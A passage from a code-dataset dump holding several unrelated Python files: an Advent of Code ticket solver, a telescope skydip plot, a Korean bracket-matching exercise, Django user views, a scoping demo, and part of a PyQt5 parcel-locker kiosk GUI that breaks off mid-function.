elif parsing_mode == \"rules\":\n match = rule_pattern.match(line)\n if match:\n field, *bounds = match.groups()\n field_rules[field] = ValidValues(bounds)\n elif line != \"\":\n ticket = [int(i) for i in line.split(',')]\n if parsing_mode == \"yours\":\n your_ticket = ticket\n elif parsing_mode == \"nearby\":\n near_tickets.append(ticket)\n\n return (field_rules, your_ticket, near_tickets)\n\ndef validate_tickets(rule_list, ticket_list):\n\n invalid_fields = []\n valid_tickets = []\n\n for ticket in ticket_list:\n\n ticket_valid = True\n\n for field in ticket:\n\n for valid_values in rule_list:\n if field in valid_values:\n break\n else:\n invalid_fields.append(field)\n ticket_valid = False\n\n if ticket_valid:\n valid_tickets.append(ticket)\n\n return (valid_tickets, sum(invalid_fields))\n\ndef resolve_field_positions(field_rules, valid_ticket_list):\n\n field_positions = {}\n field_valid_positions = {}\n\n for field, valid_values in field_rules.items():\n\n valid_positions = set(range(len(valid_ticket_list[0])))\n\n for ticket in valid_ticket_list:\n for position, value in enumerate(ticket):\n if value not in valid_values:\n valid_positions.remove(position)\n\n field_valid_positions[field] = valid_positions\n\n for field, valid_positions in sorted(field_valid_positions.items(), key = lambda x: len(x[1])):\n\n for position in valid_positions:\n if position not in field_positions.values():\n field_positions[field] = position\n break\n\n return field_positions\n\ndef check_departure_fields(field_map, ticket):\n return reduce(\n mul,\n (ticket[pos] for fld, pos in field_map.items() if fld.startswith(\"departure\"))\n )\n\nrules, own_ticket, nearby_tickets = parse_ticket_data(load_input(\"day16.txt\"))\n\nnearby_valid_tickets, invalid_fieldsum = validate_tickets(rules.values(), nearby_tickets)\nprint(f\"Part 1 => {invalid_fieldsum}\")\n\nfld_positions = resolve_field_positions(rules, nearby_valid_tickets)\nprint(f\"Part 2 => {check_departure_fields(fld_positions, own_ticket)}\")\n","repo_name":"rds504/AoC-2020","sub_path":"solutions/day16.py","file_name":"day16.py","file_ext":"py","file_size_in_byte":3105,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"71932144727","text":"#! /usr/bin/env python2.6\r\n#-*- coding: utf-8 -*-\r\n\r\n\"\"\"\r\nDocuments\r\n\"\"\"\r\n\r\ndef draw_skydip(data, fig, ax=None, color='b', shape='o', iso = '', show=True):\r\n import pylab\r\n tau = data[0]\r\n tsys = data[1]\r\n r2 = data[2]\r\n sec_z = data[3]\r\n hot_sky = data[4]\r\n fitdata = data[5]\r\n #plot\r\n if ax is None:\r\n print(ax)\r\n #fig = pylab.figure(figsize=(10,5))\r\n fig = fig\r\n ax = fig.add_subplot(211)\r\n ax.grid()\r\n ax.set_ylabel('log((Phot-Psky)/Phot)')\r\n ax.set_xlabel('secZ')\r\n else:\r\n print(ax)\r\n ax = ax\r\n ax.plot(sec_z, hot_sky, color + shape , markersize=7)\r\n ax.plot(sec_z, fitdata, color + '-', label='%s, tau = %.2f, Tsys* = %.2f, R^2 = %.3f' %(iso, tau, tsys, r2))\r\n if show:\r\n pylab.show()\r\n return ax\r\n","repo_name":"ars096/python-analysing-radio-telescope-data","sub_path":"analyse/plotter/plot_skydip.py","file_name":"plot_skydip.py","file_ext":"py","file_size_in_byte":817,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"11031585683","text":"# 괄호\n# 링크: https://www.acmicpc.net/problem/9012\n\n# [문제]\n# 괄호 문자열(Parenthesis String, PS)은 두 개의 괄호 기호인 ‘(’ 와 ‘)’ 만으로 \n# 구성되어 있는 문자열이다. 그 중에서 괄호의 모양이 바르게 구성된 문자열을 \n# 올바른 괄호 문자열(Valid PS, VPS)이라고 부른다. \n# 한 쌍의 괄호 기호로 된 “( )” 문자열은 기본 VPS 이라고 부른다. \n# 만일 x 가 VPS 라면 이것을 하나의 괄호에 넣은 새로운 문자열 “(x)”도 VPS 가 된다. \n# 그리고 두 VPS x 와 y를 접합(concatenation)시킨 새로운 문자열 xy도 VPS 가 된다. \n# 예를 들어 “(())()”와 “((()))” 는 VPS 이지만 “(()(”, “(())()))” , \n# 그리고 “(()” 는 모두 VPS 가 아닌 문자열이다. \n\n# 여러분은 입력으로 주어진 괄호 문자열이 VPS 인지 아닌지를 판단해서 \n# 그 결과를 YES 와 NO 로 나타내어야 한다. \n\n# [입력]\n# 입력 데이터는 표준 입력을 사용한다. 입력은 T개의 테스트 데이터로 주어진다. \n# 입력의 첫 번째 줄에는 입력 데이터의 수를 나타내는 정수 T가 주어진다. \n# 각 테스트 데이터의 첫째 줄에는 괄호 문자열이 한 줄에 주어진다. \n# 하나의 괄호 문자열의 길이는 2 이상 50 이하이다. \n\n# [출력]\n# 출력은 표준 출력을 사용한다. \n# 만일 입력 괄호 문자열이 올바른 괄호 문자열(VPS)이면 “YES”, \n# 아니면 “NO”를 한 줄에 하나씩 차례대로 출력해야 한다. \n\n# [문제접근]\n# 괄호의 개수를 count?\n\n# 문제풀이(1)\n# import sys\n# N = int(sys.stdin.readline())\n\n# for i in range(N):\n# PS = sys.stdin.readline()\n# left, right = 0, 0\n# for j in range(len(PS)):\n# if PS[j] == '(':\n# left += 1\n# elif PS[j] == ')':\n# right += 1\n\n# if left == right:\n# print('YES')\n# else:\n# print('NO')\n\n# 스택 문제를 꼼수로 풀지 말자 통과 안된다.\n# 여는 괄호가 있을 경우 append\n# 닫는 괄호가 있을 경우 pop\n\n\n# 문제풀이(2)\nnum = int(input())\n\nfor i in range(num):\n data = input()\n stack = []\n\n for j in data:\n if j == '(':\n stack.append(j)\n else:\n if stack:\n stack.pop()\n else:\n print('NO')\n break\n else:\n # 스택이 비어있다면 괄호의 개수가 맞다\n if not stack:\n print('YES')\n else:\n print('NO')\n\n\n# ��력 출력\n# 6\n# (())()) NO\n# (((()())() NO\n# (()())((())) YES\n# ((()()(()))(((())))() NO\n# ()()()()(()()())() YES\n# (()((())()( NO","repo_name":"homile/PythonStudy","sub_path":"2022/02.26_36주차/[baekjoon]괄호.py","file_name":"[baekjoon]괄호.py","file_ext":"py","file_size_in_byte":2797,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"5753490947","text":"from django.shortcuts import redirect, render\nfrom django.contrib.auth import login, authenticate, logout\nfrom django.contrib.auth.models import User\nfrom django.contrib import messages\nfrom .forms import NewUserForm\nfrom users.models import UserProfile\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.admin.views.decorators import staff_member_required\n\n\ndef login_func(request):\n if request.method == 'POST':\n username = request.POST.get('username')\n password = request.POST.get('password')\n try:\n User.objects.get(username=username)\n except:\n messages.error(request, 'USER NOT EXISTS')\n return render(request, 'entry_form.html', {}) \n \n user = authenticate(username = username,password = password)\n if user is not None:\n login(request,user)\n return redirect('books:mains')\n else:\n messages.error(request, 'PASSWORD ERROR OCCURRED WHILE LOG-IN') \n\n return render(request, 'entry_form.html', {})\n\n\ndef register_request(request):\n\tif request.method == \"POST\":\n\t\tform = NewUserForm(request.POST)\n\t\tif form.is_valid():\n\t\t\tuser = form.save()\n\t\t\tlogin(request, user)\n\t\t\tmessages.success(request, \"Registration successful.\" )\n\t\t\treturn redirect(\"users:firstlogin\")\n\t\tmessages.error(request, \"Unsuccessful registration. Invalid information.\")\n\tform = NewUserForm()\n\n\treturn render(request, \"register_form.html\", context={\"register_form\":form})\n\ndef logout_func(request):\n logout(request)\n\n return redirect('books:mains')\n\n@login_required\ndef single_user(request):\n user = UserProfile.objects.get(user=request.user)\n\n return render(request,'user.html',{'user':user})\n\n@login_required\ndef user_menu(request):\n try:\n profile = UserProfile(user=request.user)\n profile.save()\n except:\n user = UserProfile.objects.get(user=request.user)\n if request.method == \"GET\":\n return render(request,'user.html',{'user':user,'edit':True})\n user.fullname = request.POST.get('fullname')\n user.city = request.POST.get('city')\n user.age = request.POST.get('age')\n user.image = request.POST.get('image')\n user.save()\n messages.info(request,\"Saved Successfuly\")\n\n return redirect('users:showuser')\n\ndef first_login(request):\n profile = UserProfile(user=request.user)\n profile.save()\n return redirect('books:mains')\n\n@staff_member_required\ndef customer_list(request):\n users = UserProfile.objects.all()\n return render(request,'all_users.html',{'users':users})\n\n@staff_member_required\ndef deluser(request, pk):\n user = User.objects.get(id=pk)\n user.delete()\n return redirect('users:customerlist')\n\n \n","repo_name":"Timglad/Second-Project","sub_path":"library/users/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2727,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"30672628917","text":"# a = 10\r\n#\r\n# def func(n):\r\n# # a = 22\r\n# b = 33\r\n#\r\n# global a\r\n# a = a+22\r\n#\r\n# print(a,b)\r\n# print(n)\r\n#\r\n# func(\"Mahadi Rahman\")\r\n# print(a)\r\n\r\n\r\nx = 100\r\ndef dhrubo():\r\n x = 20\r\n def sadia():\r\n global x\r\n x = 880\r\n #print(\"Before calling sadia()\",x)\r\n sadia()\r\n print(\"After calling sadia()\",x)\r\n\r\ndhrubo()\r\nprint(x)","repo_name":"MahadiRahman262523/Python_Code_Part-1","sub_path":"global var key.py","file_name":"global var key.py","file_ext":"py","file_size_in_byte":375,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"18206692701","text":"import datetime\n\nimport cv2\nimport time\nfrom PyQt5 import QtCore\nfrom PyQt5 import QtWidgets\nfrom PyQt5.Qt import *\nfrom pyzbar import pyzbar\n\nimport CreateRow\nimport Finder\nimport InfoWindow\nimport Mail\nimport Database_Window\nimport Database\nimport adminPassWindow\nimport Code_Generator\n\n# GUI Button Shape\nStyleSheet = ''' \nQPushButton#DeliveringButton {\n background-color: #2FC4B2;\n border-radius: 48px;\n padding: 20px; \n}\n\nQPushButton#DeliveringButton:hover {\n background-color: #80E9DC;\n color: #fff;\n}\n\nQPushButton#DeliveringButton:pressed {\n background-color: #A0F3E9;\n}\n\nQPushButton#ReceivingButton {\n background-color: #F17808;\n border-radius: 48px;\n padding: 20px; \n}\n\nQPushButton#ReceivingButton:hover {\n background-color: #ECA664;\n color: #fff;\n}\n\nQPushButton#ReceivingButton:pressed {\n background-color: #ECBD90;\n}\n\nQPushButton#LockerButton {\n background-color: #68BA48;\n border-radius: 48px;\n padding: 20px; \n}\n\nQPushButton#LockerButton:hover {\n background-color: #8FDC72;\n color: #fff;\n}\n\nQPushButton#LockerButton:pressed {\n background-color: #C1F3AE;\n}\n\nQPushButton#GeneralButton{\n background-color : #48E0FA;\n border-radius: 14px;\n font-size: 12pt;\n padding: 10px; \n}\n\nQPushButton#GeneralButton:hover{\n background-color: #FFDBA0;\n}\n\nQPushButton#GeneralButton:pressed {\n background-color: #F9EDC7;\n}\n\nQPushButton#BackMainButton{\n background-color : #90D843;\n border-radius: 14px;\n font-size: 12pt;\n padding: 7px; \n}\n\nQPushButton#BackMainButton:hover{\n background-color: #A3DC67;\n}\n\nQPushButton#BackMainButton:pressed {\n background-color: #BDE791;\n}\n\nQPushButton#SmallButton{\n background-color : #48E0FA;\n border-radius: 14px;\n font-size: 10pt;\n}\n\nQPushButton#SmallButton:hover{\n background-color: #FFDBA0;\n}\n\nQPushButton#SmallButton:pressed {\n background-color: #F9EDC7;\n}\n\nQPushButton#SettingsButton {\n qproperty-icon: url(\"/home/pi/Desktop/SafetyBox/icons/setting.png\"); \n qproperty-iconSize: 35px 35px; \n background-color: #FFF;\n border-radius: 48px;\n}\n\nQPushButton#SettingsButton:hover {\n background-color: #D3D3D3;\n color: #fff;\n}\n\nQPushButton#SettingsButton:pressed {\n background-color: #FFF;\n}\n\nQLineEdit#GeneralLineEdit {\n color: black; \n background-color: #AEF3EE; \n border-radius: 15px; \n padding: 10px;\n\n}\n\nQLineEdit#LockerLineEdit {\n color: black; \n background-color: #AEF3EE; \n border-radius: 15px; \n padding: 10px;\n margin-left: 30px;\n\n}\n\nQLabel#LockerLabels {\n font: 15pt \"Arial\";\n font-weight: bold;\n \n}\n\nQRadioButton { \n font: 15pt Arial;\n font-weight: bold;\n background-color: qlineargradient(x1: 0, y1: 0, x2: 0, y2: 1,\n stop: 0 #96ABEC, stop: 1 #8395CC);\n border-radius: 15px;\n padding: 10px; \n\n} \n\nQRadioButton::indicator { \n width: 10px; \n height: 10px; \n}\n\n'''\n\n\nclass Window(QWidget):\n Finder = Finder.Finder()\n Tr2Eng = str.maketrans(\"ÇĞİÖŞÜçğıöşü\", \"CGIOSUcgiosu\")\n safetybox_name = \"Üsküdar Vapur İskelesi\"\n safetybox_address = \"Mimar Sinan Cd. Cami Yanı\"\n safetybox_county = \"Üsküdar\"\n safetybox_city = \"İstanbul\"\n\n def __init__(self):\n super().__init__() # QWidget fonskiyonlarını kullanabilmek icin\n self.setGeometry(0, 0, 1280, 720) # window size\n self.setWindowTitle(\"Safety Box\") # window title\n background_Color = self.palette()\n background_Color.setColor(self.backgroundRole(), Qt.white)\n self.setPalette(background_Color)\n\n self.database = Database.main_DB() # calling database class\n\n self.tabs() # initialize tabs\n self.show()\n\n # self.setWindowFlags(QtCore.Qt.FramelessWindowHint | QtCore.Qt.WindowTitleHint)\n\n # messagebox opened, when no cargo is found\n self.info_dialog = QtWidgets.QMessageBox(self)\n self.info_dialog.setIcon(QMessageBox.Information)\n # self.info_dialog.setWindowFlags(QtCore.Qt.FramelessWindowHint | QtCore.Qt.WindowTitleHint) # no title bar\n self.info_dialog.setWindowIcon(QIcon('/home/pi/Desktop/SafetyBox/icons/icon.png'))\n # self.info_dialog.setIconPixmap(QPixmap('icons/icon.png'))\n self.info_dialog.setWindowTitle(\"Uyarı\")\n self.info_dialog.setText(\"Program Başlamıştır\")\n self.button = QPushButton(\"Tamam\", self)\n self.info_dialog.addButton(self.button, QMessageBox.RejectRole)\n self.info_dialog.show()\n\n def OpenSettingWindow(self): # Menu Bar Database Güncelleme\n self.admin_W = adminPassWindow.adminPassWindow()\n self.admin_W.setCllback_Admin(self.cllback_AdminPass)\n self.admin_W.show()\n\n def cllback_AdminPass(self, result):\n if result is True:\n self.tab.addTab(self.tab5, \"Ayarlar\")\n self.tab.setCurrentWidget(self.tab5)\n self.settingButton.setVisible(False)\n self.admin_W.close()\n else:\n print(\"Giriş başarısız\")\n\n def GB_cargoReceive(self): # Kargo Teslim Alma - Step1\n\n groupBox = QGroupBox(\"Kargo Teslim Alma\")\n\n vbox = QVBoxLayout()\n\n self.receivingButton = QPushButton(\"Müşteriyim\", objectName=\"ReceivingButton\") # button initialize\n self.receivingButton.installEventFilter(self)\n # receivingButton.setFixedSize(receivingButton.width(), receivingButton.height()) # button size maximize\n self.receivingButton.setSizePolicy(QSizePolicy.Expanding, QSizePolicy.Expanding)\n self.receivingButton.setFont(QFont(\"Arial\", 40, QFont.Bold)) # button font\n\n self.receivingButton.clicked.connect(self.B_receivingFunction)\n\n vbox.addWidget(self.receivingButton)\n groupBox.setLayout(vbox)\n\n return groupBox\n\n def GB_cargoDelivery(self): # Kargo Teslim Etme - Step1\n groupBox = QGroupBox(\"Kargo Teslim Etme\")\n\n vbox = QVBoxLayout()\n self.deliveringButton = QPushButton(\"Kuryeyim\", objectName=\"DeliveringButton\") # button initialize\n self.deliveringButton.installEventFilter(self)\n # deliveringButton.setFixedSize(deliveringButton.width(), deliveringButton.height()) # button size maximize\n self.deliveringButton.setSizePolicy(QSizePolicy.Expanding, QSizePolicy.Expanding)\n self.deliveringButton.setFont(QFont(\"Arial\", 40, QFont.Bold)) # button font\n self.deliveringButton.clicked.connect(self.B_deliveringFunction)\n vbox.addWidget(self.deliveringButton)\n groupBox.setLayout(vbox)\n\n return groupBox\n\n def GB_LockerSystem(self): # Emanet Dolabı - Step1\n\n groupBox = QGroupBox(\"Emanet Dolabı\")\n\n vbox = QVBoxLayout()\n\n self.lockerbutton = QPushButton(\"Emanet Dolabı\", objectName=\"LockerButton\") # button initialize\n self.lockerbutton.installEventFilter(self)\n # receivingButton.setFixedSize(receivingButton.width(), receivingButton.height()) # button size maximize\n self.lockerbutton.setSizePolicy(QSizePolicy.Expanding, QSizePolicy.Expanding)\n self.lockerbutton.setFont(QFont(\"Arial\", 40, QFont.Bold)) # button font\n\n self.lockerbutton.clicked.connect(self.B_LockerFunction)\n\n vbox.addWidget(self.lockerbutton)\n groupBox.setLayout(vbox)\n\n return groupBox\n\n def GB_cargoPNR(self): # Kargo Teslim Grup Box - Step2\n\n self.infoWin = InfoWindow.InfoWindow() # taking picture after pushing confirm at info window\n self.infoWin.setCllBack_TakePicture(self.cllback_TakePicture)\n\n self.CameraLabel_R = QLabel(self)\n # self.label.move(280, 120)\n self.CameraLabel_R.resize(640, 480)\n self.th = Thread(self)\n self.th.setCllback(self.cllback)\n self.th.changePixmap.connect(self.setImage)\n self.th.start()\n\n groupBox = QGroupBox(\"Kargo Teslim\")\n\n info_PNRDelivery = QLabel(\"Kargonuzu Teslim Almak İçin \\nQR Kod Okutunuz veya PNR Girip Butona Basınız.\")\n info_PNRDelivery.setFont(QFont(\"Arial\", 18, QFont.Bold))\n info_PNRDelivery.setAlignment(Qt.AlignCenter)\n info_PNRDelivery.setMargin(20)\n\n self.PNRTextEditor = QLineEdit(objectName=\"GeneralLineEdit\")\n self.PNRTextEditor.setPlaceholderText(\"PNR Kod Giriniz\")\n self.PNRTextEditor.setValidator(QIntValidator())\n\n\n PNRbutton = QPushButton(\"Kargo Teslim Al\", objectName=\"GeneralButton\")\n\n # PNRbutton.setSizePolicy(QSizePolicy.Minimum, QSizePolicy.Fixed)\n PNRbutton.installEventFilter(self)\n PNRbutton.setFont(QFont(\"Time New Roman\", 25))\n PNRbutton.clicked.connect(self.PNRFinder)\n\n\n self.PNRText = QLabel(\"\") # success failed text\n\n vbox = QVBoxLayout()\n vbox.addStretch()\n vbox.addWidget(info_PNRDelivery)\n vbox.addStretch()\n vbox.addWidget(self.PNRTextEditor, alignment=QtCore.Qt.AlignCenter)\n vbox.addWidget(self.PNRText)\n vbox.addWidget(PNRbutton, alignment=QtCore.Qt.AlignCenter)\n vbox.addStretch()\n vbox.addWidget(self.CameraLabel_R, alignment=QtCore.Qt.AlignCenter)\n vbox.addWidget(self.B_BackMainButton(), alignment=QtCore.Qt.AlignCenter)\n\n groupBox.size().setHeight(320)\n groupBox.setLayout(vbox)\n\n return groupBox\n\n def GB_cargoTrack(self): # Kargo teslim verme\n self.CameraLabel_D = QLabel(self)\n # self.label.move(280, 120)\n self.CameraLabel_D.resize(640, 480)\n\n groupBox = QGroupBox(\"Kargo Teslim Verme \")\n\n info_PNRDelivery = QLabel(\"Kargoyu Teslim Vermek İçin, \\n Barkod Okutunuz veya Kodu Girip Butona Basınız\")\n info_PNRDelivery.setFont(QFont(\"Arial\", 18, QFont.Bold))\n info_PNRDelivery.setAlignment(Qt.AlignCenter)\n info_PNRDelivery.setMargin(20)\n\n self.TrackTextEditor = QLineEdit(self, objectName=\"GeneralLineEdit\")\n self.TrackTextEditor.setPlaceholderText(\"Takip Numarasını Giriniz\")\n self.TrackTextEditor.setValidator(QIntValidator())\n\n\n Trackbutton = QPushButton(\"Kargo Teslim Et\", objectName=\"GeneralButton\")\n Trackbutton.setFont(QFont(\"Time New Roman\", 25))\n Trackbutton.clicked.connect(self.TrackingFinder)\n\n\n self.TrackText = QLabel(\"\") # success failed text\n\n vbox = QVBoxLayout()\n vbox.addStretch()\n vbox.addWidget(info_PNRDelivery)\n vbox.addWidget(self.TrackTextEditor, alignment=QtCore.Qt.AlignCenter)\n vbox.addWidget(self.TrackText)\n vbox.addWidget(Trackbutton, alignment=QtCore.Qt.AlignCenter)\n vbox.addStretch()\n vbox.addWidget(self.CameraLabel_D, alignment=QtCore.Qt.AlignCenter)\n vbox.addWidget(self.B_BackMainButton(), alignment=QtCore.Qt.AlignCenter)\n groupBox.size().setHeight(320)\n groupBox.setLayout(vbox)\n\n return groupBox\n\n def GB_Locker_ChoosingMenu(self):\n self.groupBox_Locker_ChoosingMenu = QGroupBox(\"Seçim Ekranı\")\n\n hbox = QHBoxLayout()\n\n newIdentity = QPushButton(\"Yeni \\nMüşteriyim\", objectName=\"ReceivingButton\")\n newIdentity.setSizePolicy(QSizePolicy.Expanding, QSizePolicy.Expanding)\n newIdentity.setFont(QFont(\"Arial\", 40, QFont.Bold)) # button font\n\n oldIdentity = QPushButton(\"Müşterinizim\", objectName=\"DeliveringButton\")\n oldIdentity.setSizePolicy(QSizePolicy.Expanding, QSizePolicy.Expanding)\n oldIdentity.setFont(QFont(\"Arial\", 40, QFont.Bold)) # button font\n\n hbox.addWidget(newIdentity)\n hbox.addWidget(oldIdentity)\n\n newIdentity.clicked.connect(self.Open_Locker_NewIdentity)\n oldIdentity.clicked.connect(self.Open_Locker_FindIdentity)\n self.groupBox_Locker_ChoosingMenu.setLayout(hbox)\n\n return self.groupBox_Locker_ChoosingMenu\n\n def Open_Locker_FindIdentity(self):\n self.groupBox_Locker_FindItentity.setVisible(True)\n self.groupBox_Locker_ChoosingMenu.setVisible(False)\n self.groupBox_Locker_NewIdentity.setVisible(False)\n\n def Open_Locker_NewIdentity(self):\n self.groupBox_Locker_NewIdentity.setVisible(True)\n self.groupBox_Locker_ChoosingMenu.setVisible(False)\n self.groupBox_Locker_FindItentity.setVisible(False)\n\n def GB_Locker_FindIdentity(self):\n self.groupBox_Locker_FindItentity = QGroupBox(\"Yeni Kişi Emanet Bırakma\")\n self.groupBox_Locker_FindItentity.setVisible(False)\n\n vbox = QVBoxLayout()\n info = QLabel()\n info.setText(\"SafetyBox Kimlik Numaranızı Giriniz.\\nve\\nKutu Boyutu Seçiniz.\")\n info.setAlignment(QtCore.Qt.AlignCenter)\n info.setFont(QFont(\"Arial\", 18, QFont.Bold))\n info.setMargin(20)\n\n SB_ID_TextEditor = QLineEdit(objectName=\"GeneralLineEdit\")\n SB_ID_TextEditor.setPlaceholderText(\"SafetyBox ID\")\n SB_ID_TextEditor.setValidator(QIntValidator())\n\n\n Locker_Button_GetIdentity = QPushButton(\"Beni Bul\", objectName=\"GeneralButton\")\n Locker_Button_GetIdentity.clicked.connect(lambda: self.Locker_GetIdentity(SB_ID_TextEditor.text()))\n\n Label_Name = QLabel(\"Ad\", objectName=\"LockerLabels\")\n Label_Surname = QLabel(\"Soyad\", objectName=\"LockerLabels\")\n Label_Phone = QLabel(\"Telefon\", objectName=\"LockerLabels\")\n Label_Mail = QLabel(\"Mail\", objectName=\"LockerLabels\")\n\n self.LockerIdentity_Name = QLabel(objectName=\"LockerLabels\")\n self.LockerIdentity_Surname = QLabel(objectName=\"LockerLabels\")\n self.LockerIdentity_Phone = QLabel(objectName=\"LockerLabels\")\n self.LockerIdentity_Mail = QLabel(objectName=\"LockerLabels\")\n self.Locker_emptyBoxCount = QLabel()\n\n self.Locker_box_size = \"M\"\n self.Locker_SmallSize = QRadioButton(\"Küçük Boy\", self)\n self.Locker_MediumSize = QRadioButton(\"Orta Boy\", self)\n self.Locker_MediumSize.setChecked(True)\n self.Locker_BigSize = QRadioButton(\"Büyük Boy\", self)\n\n self.Locker_SmallSize.clicked.connect(self.Locker_SearchEmptyBox)\n self.Locker_MediumSize.clicked.connect(self.Locker_SearchEmptyBox)\n self.Locker_BigSize.clicked.connect(self.Locker_SearchEmptyBox)\n self.Locker_SearchEmptyBox()\n\n\n hbox_LockerSizeButton = QHBoxLayout()\n hbox_LockerSizeButton.addStretch()\n hbox_LockerSizeButton.addWidget(self.Locker_SmallSize)\n hbox_LockerSizeButton.addWidget(self.Locker_MediumSize)\n hbox_LockerSizeButton.addWidget(self.Locker_BigSize)\n hbox_LockerSizeButton.addStretch()\n\n Locker_FormLayout = QFormLayout()\n Locker_FormLayout.addRow(Label_Name, self.LockerIdentity_Name)\n Locker_FormLayout.addRow(Label_Surname, self.LockerIdentity_Surname)\n Locker_FormLayout.addRow(Label_Phone, self.LockerIdentity_Phone)\n Locker_FormLayout.addRow(Label_Mail, self.LockerIdentity_Mail)\n\n vbox_FromLayout = QVBoxLayout()\n vbox_FromLayout.addLayout(Locker_FormLayout)\n vbox_FromLayout.setAlignment(QtCore.Qt.AlignCenter)\n\n\n self.Locker_Button_Confirm = QPushButton(\"Onayla\", objectName=\"GeneralButton\")\n self.Locker_Button_Confirm.setVisible(False)\n self.Locker_Button_Confirm.clicked.connect(self.Locker_CreateLocker)\n\n vbox.addWidget(info, alignment=QtCore.Qt.AlignCenter)\n vbox.addWidget(SB_ID_TextEditor, alignment=QtCore.Qt.AlignCenter)\n vbox.addWidget(Locker_Button_GetIdentity, alignment=QtCore.Qt.AlignCenter)\n vbox.addLayout(vbox_FromLayout)\n vbox.addLayout(hbox_LockerSizeButton)\n vbox.addWidget(self.Locker_emptyBoxCount,alignment=QtCore.Qt.AlignCenter)\n vbox.addWidget(self.Locker_Button_Confirm, alignment=QtCore.Qt.AlignCenter)\n vbox.addWidget(self.B_BackMainButton(), alignment=QtCore.Qt.AlignCenter)\n\n self.groupBox_Locker_FindItentity.setLayout(vbox)\n\n return self.groupBox_Locker_FindItentity\n\n def Locker_SearchEmptyBox(self):\n if self.Locker_SmallSize.isChecked():\n self.Locker_box_size = \"S\"\n elif self.Locker_MediumSize.isChecked():\n self.Locker_box_size = \"M\"\n elif self.Locker_BigSize.isChecked():\n self.Locker_box_size = \"L\"\n else:\n print(\"choose something\")\n\n empty_box = CreateRow.CreateRow().findEmptyBox(self.safetybox_name, self.Locker_box_size)\n\n return empty_box\n\n def Locker_GetIdentity(self, person_code):\n self.IdentityValues = self.database.getIdentity_withPersonCode(str(person_code))\n print(\"Locker_GetIdentity Function: \", self.IdentityValues)\n if self.IdentityValues is None:\n print(\"Person Code ile Kişi Bulunamadı\")\n self.info_dialog.setText(\"Kişi Kayıtlı Değildir. \\n\"\n \"Kodunuzu kontrol edin veya kayıt olun.\")\n self.button.setText(\"Tekrar Dene\")\n self.info_dialog.setHidden(False)\n\n else:\n\n self.Locker_Button_Confirm.setVisible(True)\n self.LockerIdentity_Name.setText(\": \" + self.IdentityValues[1])\n self.LockerIdentity_Surname.setText(\": \" + self.IdentityValues[2])\n number = str(self.IdentityValues[3])\n number = number[:5] + \"*\" + number[6:8] + \"**\"\n self.LockerIdentity_Phone.setText(\": \" + number)\n mail = self.IdentityValues[4].split(\"@\")\n mail[0] = mail[0][:-5]+\"*****\"\n self.LockerIdentity_Mail.setText(\": \" + mail[0] + \"@\" + mail[1])\n return\n\n def Locker_CreateLocker(self):\n emptybox_ID = self.Locker_SearchEmptyBox()\n\n if len(emptybox_ID) == 0:\n self.info_dialog.setText(\"Maalesef seçtiğiniz boyuttaki \\ndolaplarımız doludur\")\n self.button.setText(\"Tamam\")\n self.info_dialog.setHidden(False)\n\n else:\n identities_ID = self.IdentityValues[0]\n surname = self.IdentityValues[2]\n name = self.IdentityValues[1]\n county = self.safetybox_county\n city = self.safetybox_city\n #generating pnr num, tracking num and qrcode\n PNR, Tracking, QRCode, datetime = Code_Generator.Code_Generator().Generate_AllCodes(\"L\", surname, name, county, city)\n #creating safety locker\n self.database.create_SafetyLocker(PNR, QRCode, str(emptybox_ID[0][0]), identities_ID, datetime, \"0\")\n #chanhing box's empty state\n self.database.setBoxState_isEmpty(\"0\", str(emptybox_ID[0][0]))\n self.Locker_SearchEmptyBox() #updating emptybox count\n\n #send mail\n parameters = [name, surname, \"\", self.IdentityValues[4], \"\", PNR, self.safetybox_name,\n self.safetybox_address, self.safetybox_county, self.safetybox_city]\n Mail.SendMail(\"Creating_SafetyLocker\", parameters)\n\n\n def GB_Locker_NewIdentity(self):\n self.groupBox_Locker_NewIdentity = QGroupBox(\"Kişi Kodu ile Emanet Bırakma\")\n self.groupBox_Locker_NewIdentity.setVisible(False)\n\n\n info = QLabel(objectName=\"LockerLabels\")\n info.setText(\"Kayıt olmak için bilgilerinizi doldurunuz.\")\n\n Label_Name = QLabel(\"Ad\", objectName=\"LockerLabels\")\n Label_Surname = QLabel(\"Soyad\", objectName=\"LockerLabels\")\n Label_Phone = QLabel(\"Telefon\", objectName=\"LockerLabels\")\n Label_Mail = QLabel(\"Mail\", objectName=\"LockerLabels\")\n\n Locker_LineEdit_Name = QLineEdit(objectName=\"LockerLineEdit\")\n Locker_LineEdit_Name.setPlaceholderText(\"Adınızı Girin\")\n Locker_LineEdit_Name.setFixedWidth(Locker_LineEdit_Name.sizeHint().width()+150)\n Locker_LineEdit_Surname = QLineEdit(objectName=\"LockerLineEdit\")\n Locker_LineEdit_Surname.setPlaceholderText(\"Soyadınızı Girin\")\n Locker_LineEdit_Surname.setFixedWidth(Locker_LineEdit_Surname.sizeHint().width()+150)\n Locker_LineEdit_Phone = QLineEdit(objectName=\"LockerLineEdit\")\n Locker_LineEdit_Phone.setPlaceholderText(\"Örn: 5XXXXXXXXX\")\n Locker_LineEdit_Phone.setFixedWidth(Locker_LineEdit_Phone.sizeHint().width()+150)\n Locker_LineEdit_Phone.setValidator(QIntValidator())\n Locker_LineEdit_Mail = QLineEdit(objectName=\"LockerLineEdit\")\n Locker_LineEdit_Mail.setPlaceholderText(\"Mailinizi Girin\")\n Locker_LineEdit_Mail.setFixedWidth(Locker_LineEdit_Mail.sizeHint().width()+150)\n\n Locker_FormLayout = QFormLayout()\n Locker_FormLayout.addRow(Label_Name, Locker_LineEdit_Name)\n Locker_FormLayout.addRow(Label_Surname, Locker_LineEdit_Surname)\n Locker_FormLayout.addRow(Label_Phone, Locker_LineEdit_Phone)\n Locker_FormLayout.addRow(Label_Mail, Locker_LineEdit_Mail)\n\n hbox_FromLayout = QHBoxLayout()\n hbox_FromLayout.addStretch()\n hbox_FromLayout.addLayout(Locker_FormLayout)\n hbox_FromLayout.addStretch()\n\n confirmbutton = QPushButton(\"Kaydet\", objectName=\"GeneralButton\")\n 